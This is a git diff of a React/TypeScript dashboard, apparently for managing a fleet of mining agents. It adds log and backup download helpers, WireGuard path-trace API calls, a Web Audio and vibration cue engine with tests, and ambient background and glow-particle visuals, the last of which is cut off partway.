getAgentLog: (id: string, refresh = false) =>
|
getAgentLog: (id: string, refresh = false) =>
|
||||||
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
||||||
|
|
||||||
|
downloadAgentLog: async (id: string): Promise<void> => {
|
||||||
|
const res = await fetch(`${API_BASE}/agents/${id}/log?download=1`, {
|
||||||
|
headers: { ...authHeaders() },
|
||||||
|
});
|
||||||
|
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
|
||||||
|
const blob = await res.blob();
|
||||||
|
const url = URL.createObjectURL(blob);
|
||||||
|
const a = document.createElement('a');
|
||||||
|
a.href = url;
|
||||||
|
a.download = `agent-${id.slice(0, 8)}.log`;
|
||||||
|
document.body.appendChild(a);
|
||||||
|
a.click();
|
||||||
|
document.body.removeChild(a);
|
||||||
|
URL.revokeObjectURL(url);
|
||||||
|
},
|
||||||
|
|
||||||
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
|
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
|
||||||
fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
|
fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
|
||||||
method: 'PUT',
|
method: 'PUT',
|
||||||
@@ -187,9 +207,44 @@ export const api = {
|
|||||||
// XMR market price (server-side CoinGecko cache, refreshed every 10 min)
|
// XMR market price (server-side CoinGecko cache, refreshed every 10 min)
|
||||||
getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),
|
getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),
|
||||||
|
|
||||||
|
// Path Tracer — WireGuard VPN chain sessions
|
||||||
|
startTrace: (agentIds: string[]) =>
|
||||||
|
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
||||||
|
method: 'POST',
|
||||||
|
body: JSON.stringify({ agent_ids: agentIds }),
|
||||||
|
}),
|
||||||
|
getTraceStatus: (id: string) =>
|
||||||
|
fetchJSON<{ session_id: string; ready: boolean; error?: string; hops: PathTraceHop[] }>(`/pathtrace/${id}/status`),
|
||||||
|
getTraceQR: (id: string) =>
|
||||||
|
fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`),
|
||||||
|
deleteTrace: (id: string) =>
|
||||||
|
fetchJSON<{ ok: boolean }>(`/pathtrace/${id}`, { method: 'DELETE' }),
|
||||||
|
|
||||||
// Cancel an in-progress forge build by its cancel token.
|
// Cancel an in-progress forge build by its cancel token.
|
||||||
cancelBuild: (cancelToken: string) =>
|
cancelBuild: (cancelToken: string) =>
|
||||||
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
|
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
|
||||||
method: 'DELETE',
|
method: 'DELETE',
|
||||||
}),
|
}),
|
||||||
|
|
||||||
|
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
|
||||||
|
downloadBackup: async (): Promise<void> => {
|
||||||
|
const res = await fetch(`${API_BASE}/backup`, {
|
||||||
|
method: 'GET',
|
||||||
|
headers: { ...authHeaders() },
|
||||||
|
});
|
||||||
|
if (!res.ok) {
|
||||||
|
const err = await res.text();
|
||||||
|
throw new Error(`Backup failed ${res.status}: ${err}`);
|
||||||
|
}
|
||||||
|
const blob = await res.blob();
|
||||||
|
const disposition = res.headers.get('Content-Disposition') ?? '';
|
||||||
|
const match = disposition.match(/filename="([^"]+)"/);
|
||||||
|
const filename = match ? match[1] : 'aetherforge-backup.zip';
|
||||||
|
const url = URL.createObjectURL(blob);
|
||||||
|
const a = document.createElement('a');
|
||||||
|
a.href = url;
|
||||||
|
a.download = filename;
|
||||||
|
a.click();
|
||||||
|
URL.revokeObjectURL(url);
|
||||||
|
},
|
||||||
};
|
};
|
||||||
|
|||||||
79
server/web/src/audio/hapticEngine.test.ts
Normal file
79
server/web/src/audio/hapticEngine.test.ts
Normal file
@@ -0,0 +1,79 @@
|
|||||||
|
/**
|
||||||
|
* @vitest-environment happy-dom
|
||||||
|
*/
|
||||||
|
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
|
||||||
|
import {
|
||||||
|
HapticEngine,
|
||||||
|
loadSoundEnabled,
|
||||||
|
loadSoundVolume,
|
||||||
|
SFX_STORAGE_KEY,
|
||||||
|
SFX_VOLUME_KEY,
|
||||||
|
} from './hapticEngine';
|
||||||
|
|
||||||
|
describe('hapticEngine prefs', () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
localStorage.clear();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('defaults sound on and volume ~0.4', () => {
|
||||||
|
expect(loadSoundEnabled()).toBe(true);
|
||||||
|
expect(loadSoundVolume()).toBeCloseTo(0.4);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('persists enabled flag', () => {
|
||||||
|
const e = new HapticEngine();
|
||||||
|
e.setEnabled(false);
|
||||||
|
expect(localStorage.getItem(SFX_STORAGE_KEY)).toBe('0');
|
||||||
|
expect(loadSoundEnabled()).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('clamps volume', () => {
|
||||||
|
const e = new HapticEngine();
|
||||||
|
e.setVolume(2);
|
||||||
|
expect(e.getVolume()).toBe(1);
|
||||||
|
e.setVolume(-1);
|
||||||
|
expect(e.getVolume()).toBe(0);
|
||||||
|
expect(localStorage.getItem(SFX_VOLUME_KEY)).toBe('0');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('HapticEngine.play', () => {
|
||||||
|
const vibrate = vi.fn();
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
vibrate.mockClear();
|
||||||
|
Object.defineProperty(navigator, 'vibrate', {
|
||||||
|
value: vibrate,
|
||||||
|
configurable: true,
|
||||||
|
writable: true,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
vi.restoreAllMocks();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('does not vibrate when disabled', () => {
|
||||||
|
const e = new HapticEngine();
|
||||||
|
e.setEnabled(false);
|
||||||
|
e.play('click');
|
||||||
|
expect(vibrate).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('vibrates when enabled', () => {
|
||||||
|
const e = new HapticEngine();
|
||||||
|
e.setEnabled(true);
|
||||||
|
e.play('success');
|
||||||
|
expect(vibrate).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('play does not throw without AudioContext', () => {
|
||||||
|
const prev = globalThis.AudioContext;
|
||||||
|
// @ts-expect-error test shim
|
||||||
|
delete globalThis.AudioContext;
|
||||||
|
const e = new HapticEngine();
|
||||||
|
e.setEnabled(true);
|
||||||
|
expect(() => e.play('click')).not.toThrow();
|
||||||
|
globalThis.AudioContext = prev;
|
||||||
|
});
|
||||||
|
});
|
||||||
228
server/web/src/audio/hapticEngine.ts
Normal file
228
server/web/src/audio/hapticEngine.ts
Normal file
@@ -0,0 +1,228 @@
|
|||||||
|
/** UI + fleet event cues — synthesized via Web Audio (no asset files). */
|
||||||
|
|
||||||
|
export type SoundCue =
|
||||||
|
| 'click'
|
||||||
|
| 'nav'
|
||||||
|
| 'success'
|
||||||
|
| 'error'
|
||||||
|
| 'alert'
|
||||||
|
| 'alertCritical'
|
||||||
|
| 'share'
|
||||||
|
| 'connect'
|
||||||
|
| 'disconnect'
|
||||||
|
| 'online'
|
||||||
|
| 'offline';
|
||||||
|
|
||||||
|
export const SFX_STORAGE_KEY = 'aetherforge-sfx';
|
||||||
|
export const SFX_VOLUME_KEY = 'aetherforge-sfx-volume';
|
||||||
|
|
||||||
|
export function loadSoundEnabled(): boolean {
|
||||||
|
try {
|
||||||
|
const v = localStorage.getItem(SFX_STORAGE_KEY);
|
||||||
|
return v === null ? true : v === '1';
|
||||||
|
} catch {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function loadSoundVolume(): number {
|
||||||
|
try {
|
||||||
|
const v = localStorage.getItem(SFX_VOLUME_KEY);
|
||||||
|
if (v === null) return 0.4;
|
||||||
|
const n = parseFloat(v);
|
||||||
|
return Number.isFinite(n) ? Math.min(1, Math.max(0, n)) : 0.4;
|
||||||
|
} catch {
|
||||||
|
return 0.4;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function persistEnabled(enabled: boolean) {
|
||||||
|
try {
|
||||||
|
localStorage.setItem(SFX_STORAGE_KEY, enabled ? '1' : '0');
|
||||||
|
} catch {
|
||||||
|
/* ignore */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function persistVolume(volume: number) {
|
||||||
|
try {
|
||||||
|
localStorage.setItem(SFX_VOLUME_KEY, String(volume));
|
||||||
|
} catch {
|
||||||
|
/* ignore */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const VIBRATE: Partial<Record<SoundCue, number | number[]>> = {
|
||||||
|
click: 8,
|
||||||
|
nav: 12,
|
||||||
|
success: [12, 40, 18],
|
||||||
|
error: [30, 50, 80],
|
||||||
|
alert: [20, 30, 20],
|
||||||
|
alertCritical: [40, 60, 40, 80],
|
||||||
|
share: 14,
|
||||||
|
connect: [10, 25],
|
||||||
|
disconnect: [35, 20],
|
||||||
|
online: [15, 35],
|
||||||
|
offline: [25, 15],
|
||||||
|
};
|
||||||
|
|
||||||
|
type ToneSpec = {
|
||||||
|
freq: number;
|
||||||
|
duration: number;
|
||||||
|
type?: OscillatorType;
|
||||||
|
gain?: number;
|
||||||
|
delay?: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
function vibrateFor(cue: SoundCue) {
|
||||||
|
if (typeof navigator === 'undefined' || !navigator.vibrate) return;
|
||||||
|
const pattern = VIBRATE[cue];
|
||||||
|
if (pattern !== undefined) navigator.vibrate(pattern);
|
||||||
|
}
|
||||||
|
|
||||||
|
export class HapticEngine {
|
||||||
|
private ctx: AudioContext | null = null;
|
||||||
|
private enabled = loadSoundEnabled();
|
||||||
|
private volume = loadSoundVolume();
|
||||||
|
private unlocked = false;
|
||||||
|
|
||||||
|
isEnabled() {
|
||||||
|
return this.enabled;
|
||||||
|
}
|
||||||
|
|
||||||
|
getVolume() {
|
||||||
|
return this.volume;
|
||||||
|
}
|
||||||
|
|
||||||
|
setEnabled(enabled: boolean) {
|
||||||
|
this.enabled = enabled;
|
||||||
|
persistEnabled(enabled);
|
||||||
|
}
|
||||||
|
|
||||||
|
setVolume(volume: number) {
|
||||||
|
this.volume = Math.min(1, Math.max(0, volume));
|
||||||
|
persistVolume(this.volume);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Browsers require a user gesture before audio plays. */
|
||||||
|
unlock() {
|
||||||
|
if (this.unlocked) return;
|
||||||
|
try {
|
||||||
|
const Ctx =
|
||||||
|
typeof window !== 'undefined'
|
||||||
|
? window.AudioContext ||
|
||||||
|
(window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext
|
||||||
|
: undefined;
|
||||||
|
if (!Ctx) return;
|
||||||
|
if (!this.ctx) this.ctx = new Ctx();
|
||||||
|
if (this.ctx.state === 'suspended') void this.ctx.resume();
|
||||||
|
this.unlocked = true;
|
||||||
|
} catch {
|
||||||
|
/* ignore */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
play(cue: SoundCue) {
|
||||||
|
if (!this.enabled) return;
|
||||||
|
this.unlock();
|
||||||
|
vibrateFor(cue);
|
||||||
|
const specs = cueSpecs(cue);
|
||||||
|
if (!specs.length) return;
|
||||||
|
try {
|
||||||
|
const Ctx = window.AudioContext ||
|
||||||
|
(window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext;
|
||||||
|
if (!Ctx) return;
|
||||||
|
if (!this.ctx) this.ctx = new Ctx();
|
||||||
|
const ctx = this.ctx;
|
||||||
|
if (ctx.state === 'suspended') void ctx.resume();
|
||||||
|
const master = ctx.createGain();
|
||||||
|
master.gain.value = this.volume;
|
||||||
|
master.connect(ctx.destination);
|
||||||
|
const now = ctx.currentTime;
|
||||||
|
for (const spec of specs) {
|
||||||
|
this.scheduleTone(ctx, master, spec, now);
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
/* Audio blocked or unavailable */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private scheduleTone(ctx: AudioContext, dest: GainNode, spec: ToneSpec, base: number) {
|
||||||
|
const osc = ctx.createOscillator();
|
||||||
|
const g = ctx.createGain();
|
||||||
|
const t0 = base + (spec.delay ?? 0);
|
||||||
|
const dur = spec.duration;
|
||||||
|
const peak = (spec.gain ?? 0.12) * this.volume;
|
||||||
|
osc.type = spec.type ?? 'sine';
|
||||||
|
osc.frequency.setValueAtTime(spec.freq, t0);
|
||||||
|
g.gain.setValueAtTime(0.0001, t0);
|
||||||
|
g.gain.exponentialRampToValueAtTime(Math.max(peak, 0.0001), t0 + 0.008);
|
||||||
|
g.gain.exponentialRampToValueAtTime(0.0001, t0 + dur);
|
||||||
|
osc.connect(g);
|
||||||
|
g.connect(dest);
|
||||||
|
osc.start(t0);
|
||||||
|
osc.stop(t0 + dur + 0.02);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function cueSpecs(cue: SoundCue): ToneSpec[] {
|
||||||
|
switch (cue) {
|
||||||
|
case 'click':
|
||||||
|
return [{ freq: 920, duration: 0.04, type: 'square', gain: 0.06 }];
|
||||||
|
case 'nav':
|
||||||
|
return [
|
||||||
|
{ freq: 440, duration: 0.05, gain: 0.07 },
|
||||||
|
{ freq: 660, duration: 0.06, delay: 0.04, gain: 0.06 },
|
||||||
|
];
|
||||||
|
case 'success':
|
||||||
|
return [
|
||||||
|
{ freq: 523, duration: 0.08, gain: 0.1 },
|
||||||
|
{ freq: 784, duration: 0.1, delay: 0.07, gain: 0.09 },
|
||||||
|
];
|
||||||
|
case 'error':
|
||||||
|
return [
|
||||||
|
{ freq: 180, duration: 0.12, type: 'sawtooth', gain: 0.11 },
|
||||||
|
{ freq: 140, duration: 0.14, delay: 0.1, type: 'sawtooth', gain: 0.09 },
|
||||||
|
];
|
||||||
|
case 'alert':
|
||||||
|
return [
|
||||||
|
{ freq: 740, duration: 0.07, type: 'triangle', gain: 0.09 },
|
||||||
|
{ freq: 620, duration: 0.08, delay: 0.09, type: 'triangle', gain: 0.08 },
|
||||||
|
];
|
||||||
|
case 'alertCritical':
|
||||||
|
return [
|
||||||
|
{ freq: 880, duration: 0.06, type: 'square', gain: 0.1 },
|
||||||
|
{ freq: 660, duration: 0.06, delay: 0.07, type: 'square', gain: 0.1 },
|
||||||
|
{ freq: 440, duration: 0.1, delay: 0.14, type: 'square', gain: 0.11 },
|
||||||
|
];
|
||||||
|
case 'share':
|
||||||
|
return [
|
||||||
|
{ freq: 1200, duration: 0.05, gain: 0.08 },
|
||||||
|
{ freq: 1600, duration: 0.06, delay: 0.05, gain: 0.07 },
|
||||||
|
];
|
||||||
|
case 'connect':
|
||||||
|
return [
|
||||||
|
{ freq: 330, duration: 0.07, gain: 0.08 },
|
||||||
|
{ freq: 495, duration: 0.09, delay: 0.06, gain: 0.08 },
|
||||||
|
];
|
||||||
|
case 'disconnect':
|
||||||
|
return [
|
||||||
|
{ freq: 400, duration: 0.1, gain: 0.08 },
|
||||||
|
{ freq: 260, duration: 0.12, delay: 0.08, gain: 0.07 },
|
||||||
|
];
|
||||||
|
case 'online':
|
||||||
|
return [
|
||||||
|
{ freq: 587, duration: 0.07, gain: 0.08 },
|
||||||
|
{ freq: 880, duration: 0.09, delay: 0.06, gain: 0.07 },
|
||||||
|
];
|
||||||
|
case 'offline':
|
||||||
|
return [
|
||||||
|
{ freq: 440, duration: 0.09, gain: 0.07 },
|
||||||
|
{ freq: 330, duration: 0.1, delay: 0.07, gain: 0.06 },
|
||||||
|
];
|
||||||
|
default:
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export const hapticEngine = new HapticEngine();
|
||||||
@@ -1,70 +1,17 @@
|
|||||||
|
import { FlowerOfLifeWatermark, SacredMotif } from '../Visual/sacredGeometry/motifs';
|
||||||
|
import GlowParticles from './GlowParticles';
|
||||||
import './AmbientBackground.css';
|
import './AmbientBackground.css';
|
||||||
|
|
||||||
/** Slow-rotating sacred geometry SVG — Flower of Life circles inscribed in a pentagram ring */
|
/** Slow-rotating sacred geometry SVG — Flower of Life circles inscribed in a pentagram ring */
|
||||||
function SacredGeometry() {
|
function SacredGeometry() {
|
||||||
const cx = 50;
|
return <FlowerOfLifeWatermark className="ambient-sacred-geo" opacity={0.55} />;
|
||||||
const cy = 50;
|
|
||||||
const R = 32; // outer circle radius
|
|
||||||
|
|
||||||
// Six-petal Flower of Life petal centres (offset by R from centre)
|
|
||||||
const petalAngles = [0, 60, 120, 180, 240, 300];
|
|
||||||
const petals = petalAngles.map((deg) => {
|
|
||||||
const rad = (deg * Math.PI) / 180;
|
|
||||||
return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) };
|
|
||||||
});
|
|
||||||
|
|
||||||
// 5-pointed star vertices inscribed at radius R*1.15
|
|
||||||
const starR = R * 1.15;
|
|
||||||
const starPts = Array.from({ length: 5 }, (_, i) => {
|
|
||||||
const rad = ((i * 72 - 90) * Math.PI) / 180;
|
|
||||||
return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) };
|
|
||||||
});
|
|
||||||
const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z';
|
|
||||||
|
|
||||||
// Inner triangles (upward + downward — Star of David inner ring)
|
|
||||||
const triR = R * 0.7;
|
|
||||||
const triUp = [0, 120, 240].map((d) => {
|
|
||||||
const rad = ((d - 90) * Math.PI) / 180;
|
|
||||||
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
|
|
||||||
}).join(' ');
|
|
||||||
const triDown = [60, 180, 300].map((d) => {
|
|
||||||
const rad = ((d - 90) * Math.PI) / 180;
|
|
||||||
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
|
|
||||||
}).join(' ');
|
|
||||||
|
|
||||||
return (
|
|
||||||
<svg className="ambient-sacred-geo" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" aria-hidden>
|
|
||||||
<g opacity="0.55">
|
|
||||||
{/* Outer ring */}
|
|
||||||
<circle cx={cx} cy={cy} r={R * 1.35} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="1.2 1.8" />
|
|
||||||
{/* Middle ring */}
|
|
||||||
<circle cx={cx} cy={cy} r={R} fill="none" stroke="#c9a227" strokeWidth="0.22" />
|
|
||||||
{/* Inner ring */}
|
|
||||||
<circle cx={cx} cy={cy} r={R * 0.5} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="0.6 1.2" />
|
|
||||||
{/* Flower of Life petal circles */}
|
|
||||||
{petals.map((p, i) => (
|
|
||||||
<circle key={i} cx={p.x} cy={p.y} r={R} fill="none" stroke="#c9a227" strokeWidth="0.16" opacity="0.7" />
|
|
||||||
))}
|
|
||||||
{/* Pentagon star */}
|
|
||||||
<path d={starPath} fill="none" stroke="#ff8c00" strokeWidth="0.2" strokeLinejoin="round" opacity="0.6" />
|
|
||||||
{/* Merkaba triangles */}
|
|
||||||
<polygon points={triUp} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
|
|
||||||
<polygon points={triDown} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
|
|
||||||
{/* Centre dot */}
|
|
||||||
<circle cx={cx} cy={cy} r="0.6" fill="#c9a227" opacity="0.9" />
|
|
||||||
{/* Spoke lines to star points */}
|
|
||||||
{starPts.map((p, i) => (
|
|
||||||
<line key={i} x1={cx} y1={cy} x2={p.x} y2={p.y} stroke="#c9a227" strokeWidth="0.1" opacity="0.35" />
|
|
||||||
))}
|
|
||||||
</g>
|
|
||||||
</svg>
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function AmbientBackground() {
|
export default function AmbientBackground() {
|
||||||
return (
|
return (
|
||||||
<div className="ambient-bg" aria-hidden>
|
<div className="ambient-bg" aria-hidden>
|
||||||
<div className="ambient-grid" />
|
<div className="ambient-grid" />
|
||||||
|
<GlowParticles />
|
||||||
<div className="ambient-vignette" />
|
<div className="ambient-vignette" />
|
||||||
<div className="ambient-orb ambient-orb-cyan" />
|
<div className="ambient-orb ambient-orb-cyan" />
|
||||||
<div className="ambient-orb ambient-orb-magenta" />
|
<div className="ambient-orb ambient-orb-magenta" />
|
||||||
@@ -72,6 +19,13 @@ export default function AmbientBackground() {
|
|||||||
<div className="ambient-scanline" />
|
<div className="ambient-scanline" />
|
||||||
<div className="ambient-gear ambient-gear-1" />
|
<div className="ambient-gear ambient-gear-1" />
|
||||||
<div className="ambient-gear ambient-gear-2" />
|
<div className="ambient-gear ambient-gear-2" />
|
||||||
|
<div className="ambient-geo-hex-veil" />
|
||||||
|
<div className="ambient-geo-corner ambient-geo-corner--tl" aria-hidden>
|
||||||
|
<SacredMotif name="metatron" opacity={0.65} />
|
||||||
|
</div>
|
||||||
|
<div className="ambient-geo-corner ambient-geo-corner--br" aria-hidden>
|
||||||
|
<SacredMotif name="hex" opacity={0.6} />
|
||||||
|
</div>
|
||||||
{/* Sacred geometry watermark — centre of the main content area */}
|
{/* Sacred geometry watermark — centre of the main content area */}
|
||||||
<SacredGeometry />
|
<SacredGeometry />
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
115
server/web/src/components/Ambient/GlowParticles.css
Normal file
115
server/web/src/components/Ambient/GlowParticles.css
Normal file
@@ -0,0 +1,115 @@
|
|||||||
|
.ambient-glow-canvas {
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
z-index: 1;
|
||||||
|
pointer-events: none;
|
||||||
|
opacity: 0.92;
|
||||||
|
mix-blend-mode: screen;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Lightweight CSS sparkles — complements canvas, no extra JS cost */
|
||||||
|
.ambient-css-sparkles {
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
z-index: 2;
|
||||||
|
pointer-events: none;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.ambient-sparkle {
|
||||||
|
position: absolute;
|
||||||
|
width: 3px;
|
||||||
|
height: 3px;
|
||||||
|
border-radius: 50%;
|
||||||
|
animation: ambient-sparkle-pulse 4s ease-in-out infinite;
|
||||||
|
box-shadow:
|
||||||
|
0 0 6px 2px currentColor,
|
||||||
|
0 0 14px 4px currentColor;
|
||||||
|
}
|
||||||
|
|
||||||
|
.ambient-sparkle--1 {
|
||||||
|
color: rgba(201, 162, 39, 0.55);
|
||||||
|
top: 18%;
|
||||||
|
left: 22%;
|
||||||
|
animation-delay: 0s;
|
||||||
|
}
|
||||||
|
.ambient-sparkle--2 {
|
||||||
|
color: rgba(0, 245, 255, 0.45);
|
||||||
|
top: 72%;
|
||||||
|
left: 68%;
|
||||||
|
animation-delay: -1.2s;
|
||||||
|
}
|
||||||
|
.ambient-sparkle--3 {
|
||||||
|
color: rgba(255, 45, 166, 0.4);
|
||||||
|
top: 42%;
|
||||||
|
left: 85%;
|
||||||
|
animation-delay: -2.4s;
|
||||||
|
}
|
||||||
|
.ambient-sparkle--4 {
|
||||||
|
color: rgba(255, 176, 32, 0.5);
|
||||||
|
top: 58%;
|
||||||
|
left: 12%;
|
||||||
|
animation-delay: -3.1s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.ambient-sparkle:nth-child(5) {
|
||||||
|
top: 8%;
|
||||||
|
left: 55%;
|
||||||
|
color: rgba(0, 245, 255, 0.35);
|
||||||
|
animation-delay: -0.8s;
|
||||||
|
}
|
||||||
|
.ambient-sparkle:nth-child(6) {
|
||||||
|
top: 88%;
|
||||||
|
left: 38%;
|
||||||
|
color: rgba(201, 162, 39, 0.4);
|
||||||
|
animation-delay: -2s;
|
||||||
|
}
|
||||||
|
.ambient-sparkle:nth-child(7) {
|
||||||
|
top: 28%;
|
||||||
|
left: 78%;
|
||||||
|
color: rgba(255, 176, 32, 0.38);
|
||||||
|
animation-delay: -1.5s;
|
||||||
|
}
|
||||||
|
.ambient-sparkle:nth-child(8) {
|
||||||
|
top: 65%;
|
||||||
|
left: 48%;
|
||||||
|
color: rgba(255, 45, 166, 0.32);
|
||||||
|
animation-delay: -3.6s;
|
||||||
|
}
|
||||||
|
.ambient-sparkle:nth-child(9) {
|
||||||
|
top: 35%;
|
||||||
|
left: 8%;
|
||||||
|
color: rgba(0, 245, 255, 0.38);
|
||||||
|
animation-delay: -2.8s;
|
||||||
|
}
|
||||||
|
.ambient-sparkle:nth-child(10) {
|
||||||
|
top: 52%;
|
||||||
|
left: 92%;
|
||||||
|
color: rgba(201, 162, 39, 0.42);
|
||||||
|
animation-delay: -0.4s;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes ambient-sparkle-pulse {
|
||||||
|
0%,
|
||||||
|
100% {
|
||||||
|
transform: scale(0.6);
|
||||||
|
opacity: 0.25;
|
||||||
|
}
|
||||||
|
50% {
|
||||||
|
transform: scale(1.4);
|
||||||
|
opacity: 0.95;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (prefers-reduced-motion: reduce) {
|
||||||
|
.ambient-glow-canvas {
|
||||||
|
opacity: 0.5;
|
||||||
|
}
|
||||||
|
.ambient-sparkle {
|
||||||
|
animation: none;
|
||||||
|
opacity: 0.35;
|
||||||
|
transform: scale(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
168
server/web/src/components/Ambient/GlowParticles.tsx
Normal file
168
server/web/src/components/Ambient/GlowParticles.tsx
Normal file
@@ -0,0 +1,168 @@
|
|||||||
|
import { useEffect, useRef } from 'react';
|
||||||
|
import { useIsMobileLayout } from '../../hooks/useMediaQuery';
|
||||||
|
import { useVisualEffects } from '../../context/VisualEffectsContext';
|
||||||
|
import './GlowParticles.css';
|
||||||
|
|
||||||
|
const PALETTE = [
|
||||||
|
{ core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' },
|
||||||
|
{ core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' },
|
||||||
|
{ core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' },
|
||||||
|
{ core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' },
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
type Particle = {
|
||||||
|
x: number;
|
||||||
|
y: number;
|
||||||
|
vx: number;
|
||||||
|
vy: number;
|
||||||
|
r: number;
|
||||||
|
pulse: number;
|
||||||
|
pulseSpeed: number;
|
||||||
|
color: (typeof PALETTE)[number];
|
||||||
|
};
|
||||||
|
|
||||||
|
function particleCount(mobile: boolean): number {
|
||||||
|
const cores = typeof navigator !== 'undefined' ? navigator.hardwareConcurrency || 4 : 4;
|
||||||
|
if (cores <= 2) return mobile ? 18 : 28;
|
||||||
|
if (mobile) return 32;
|
||||||
|
return cores >= 8 ? 64 : 48;
|
||||||
|
}
|
||||||
|
|
||||||
|
function initParticles(w: number, h: number, n: number): Particle[] {
|
||||||
|
const out: Particle[] = [];
|
||||||
|
for (let i = 0; i < n; i++) {
|
||||||
|
out.push({
|
||||||
|
x: Math.random() * w,
|
||||||
|
y: Math.random() * h,
|
||||||
|
vx: (Math.random() - 0.5) * 0.35,
|
||||||
|
vy: (Math.random() - 0.5) * 0.35,
|
||||||
|
r: 1.2 + Math.random() * 2.2,
|
||||||
|
pulse: Math.random() * Math.PI * 2,
|
||||||
|
pulseSpeed: 0.008 + Math.random() * 0.012,
|
||||||
|
color: PALETTE[i % PALETTE.length],
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
function drawGlow(ctx: CanvasRenderingContext2D, p: Particle, alpha: number) {
|
||||||
|
const glowR = p.r * (3.2 + Math.sin(p.pulse) * 0.8);
|
||||||
|
const g = ctx.createRadialGradient(p.x, p.y, 0, p.x, p.y, glowR);
|
||||||
|
g.addColorStop(0, p.color.core);
|
||||||
|
g.addColorStop(0.35, p.color.mid);
|
||||||
|
g.addColorStop(1, 'transparent');
|
||||||
|
ctx.save();
|
||||||
|
ctx.globalAlpha = alpha;
|
||||||
|
ctx.fillStyle = g;
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.arc(p.x, p.y, glowR, 0, Math.PI * 2);
|
||||||
|
ctx.fill();
|
||||||
|
ctx.restore();
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Soft drifting glow orbs + faint constellation links — sits behind all UI. */
|
||||||
|
export default function GlowParticles() {
|
||||||
|
const canvasRef = useRef<HTMLCanvasElement>(null);
|
||||||
|
const particlesRef = useRef<Particle[]>([]);
|
||||||
|
const rafRef = useRef(0);
|
||||||
|
const isMobile = useIsMobileLayout();
|
||||||
|
const { glowParticles } = useVisualEffects();
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!glowParticles) return;
|
||||||
|
|
||||||
|
